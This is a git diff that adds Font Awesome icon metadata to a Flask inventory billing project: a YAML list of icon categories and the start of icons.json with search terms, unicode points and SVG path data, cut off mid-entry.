+sports: + icons: + - baseball-ball + - basketball-ball + - biking + - bowling-ball + - dumbbell + - football-ball + - futbol + - golf-ball + - hockey-puck + - quidditch + - running + - skating + - skiing + - skiing-nordic + - snowboarding + - swimmer + - table-tennis + - volleyball-ball + label: Sports +spring: + icons: + - allergies + - broom + - cloud-sun + - cloud-sun-rain + - frog + - rainbow + - seedling + - umbrella + label: Spring +status: + icons: + - ban + - battery-empty + - battery-full + - battery-half + - battery-quarter + - battery-three-quarters + - bell + - bell-slash + - calendar + - calendar-alt + - calendar-check + - calendar-day + - calendar-minus + - calendar-plus + - calendar-times + - calendar-week + - cart-arrow-down + - cart-plus + - comment + - comment-alt + - comment-slash + - compass + - door-closed + - door-open + - exclamation + - exclamation-circle + - exclamation-triangle + - eye + - eye-slash + - file + - file-alt + - folder + - folder-open + - gas-pump + - info + - info-circle + - lightbulb + - lock + - lock-open + - map-marker + - map-marker-alt + - microphone + - microphone-alt + - microphone-alt-slash + - microphone-slash + - minus + - minus-circle + - minus-square + - parking + - phone + - phone-alt + - phone-slash + - plus + - plus-circle + - plus-square + - print + - question + - question-circle + - shield-alt + - shopping-cart + - sign-in-alt + - sign-out-alt + - signal + - smoking-ban + - star + - star-half + - star-half-alt + - stream + - thermometer-empty + - thermometer-full + - thermometer-half + - thermometer-quarter + - thermometer-three-quarters + - thumbs-down + - thumbs-up + - tint + - tint-slash + - toggle-off + - toggle-on + - unlock + - unlock-alt + - user + - user-alt + - user-alt-slash + - user-slash + - video + - video-slash + - volume-down + - volume-mute + - volume-off + - volume-up + - wifi + label: Status +summer: + icons: + - anchor + - biking + - fish + - hotdog + - ice-cream + - lemon + - sun + - swimmer + - swimming-pool + - umbrella-beach + - volleyball-ball + - water + label: Summer +toggle: + icons: + - bullseye + - check-circle + - circle + - dot-circle + - microphone + - microphone-slash + - star + - star-half + - star-half-alt + - toggle-off + - toggle-on + - wifi + label: Toggle +travel: + icons: + - archway + - atlas + - bed + - bus + - bus-alt + - caravan + - cocktail + - concierge-bell + - dumbbell + - glass-martini + - glass-martini-alt + - globe-africa + - globe-americas + - globe-asia + - globe-europe + - hot-tub + - hotel + - luggage-cart + - map + - map-marked + - map-marked-alt + - monument + - passport + - plane + - plane-arrival + - plane-departure + - shuttle-van + - spa + - suitcase + - suitcase-rolling + - swimmer + - swimming-pool + - taxi + - tram + - tv + - umbrella-beach + - wine-glass + - wine-glass-alt + label: Travel +users-people: + icons: + - accessible-icon + - address-book + - address-card + - baby + - bed + - biking + - blind + - chalkboard-teacher + - child + - female + - frown + - hiking + - id-badge + - id-card + - id-card-alt + - male + - meh + - people-arrows + - people-carry + - person-booth + - poo + - portrait + - power-off + - pray + - restroom + - running + - skating + - skiing + - skiing-nordic + - smile + - snowboarding + - street-view + - swimmer + - user + - user-alt + - user-alt-slash + - user-astronaut + - user-check + - user-circle + - user-clock + - user-cog + - user-edit + - user-friends + - user-graduate + - user-injured + - user-lock + - user-md + - user-minus + - user-ninja + - user-nurse + - user-plus + - user-secret + - user-shield + - user-slash + - user-tag + - user-tie + - user-times + - users + - users-cog + - users-slash + - walking + - wheelchair + label: Users & People +vehicles: + icons: + - accessible-icon + - ambulance + - baby-carriage + - bicycle + - bus + - bus-alt + - car + - car-alt + - car-crash + - car-side + - fighter-jet + - helicopter + - horse + - motorcycle + - paper-plane + - plane + - rocket + - ship + - shopping-cart + - shuttle-van + - sleigh + - snowplow + - space-shuttle + - subway + - taxi + - tractor + - train + - tram + - truck + - truck-monster + - truck-pickup + - wheelchair + label: Vehicles +weather: + icons: + - bolt + - cloud + - cloud-meatball + - cloud-moon + - cloud-moon-rain + - cloud-rain + - cloud-showers-heavy + - cloud-sun + - cloud-sun-rain + - meteor + - moon + - poo-storm + - rainbow + - smog + - snowflake + - sun + - temperature-high + - temperature-low + - umbrella + - water + - wind + label: Weather +winter: + icons: + - glass-whiskey + - icicles + - igloo + - mitten + - skating + - skiing + - skiing-nordic + - snowboarding + - snowplow + - tram + label: Winter +writing: + icons: + - archive + - blog + - book + - bookmark + - edit + - envelope + - envelope-open + - eraser + - file + - file-alt + - folder + - folder-open + - keyboard + - newspaper + - paper-plane + - paperclip + - paragraph + - pen + - pen-alt + - pen-square + - pencil-alt + - quote-left + - quote-right + - sticky-note + - thumbtack + label: Writing diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.json b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.json new file mode 100644 index 00000000..9e8a841e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.json @@ -0,0 +1,58522 @@ +{ + "500px": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f26e", + "label": "500px", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860962, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z" + } + }, + "free": [ + "brands" + ] + }, + "accessible-icon": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accessibility", + "handicap", + "person", + "wheelchair", + "wheelchair-alt" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f368", + "label": "Accessible Icon", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860962, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z" + } + }, + "free": [ + "brands" + ] + }, + "accusoft": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f369", + "label": "Accusoft", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722323, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z" + } + }, + "free": [ + "brands" + ] + }, + "acquisitions-incorporated": { + "changes": [ + "5.4.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "game", + "gaming", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f6af", + "label": "Acquisitions Incorporated", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775889, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z" + } + }, + "free": [ + "brands" + ] + }, + "ad": { + "changes": [ + "5.3.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "advertisement", + "media", + "newspaper", + "promotion", + "publicity" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f641", + "label": "Ad", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635302, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z" + } + }, + "free": [ + "solid" + ] + }, + "address-book": { + "changes": [ + "4.7", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "contact", + "directory", + "index", + "little black book", + "rolodex" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2b9", + "label": "Address Book", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635302, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" + }, + "regular": { + "last_modified": 1628088634647, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "address-card": { + "changes": [ + "4.7", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "about", + "contact", + "id", + "identification", + "postcard", + "profile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2bb", + "label": "Address Card", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635302, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" + }, + "regular": { + "last_modified": 1628088634647, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 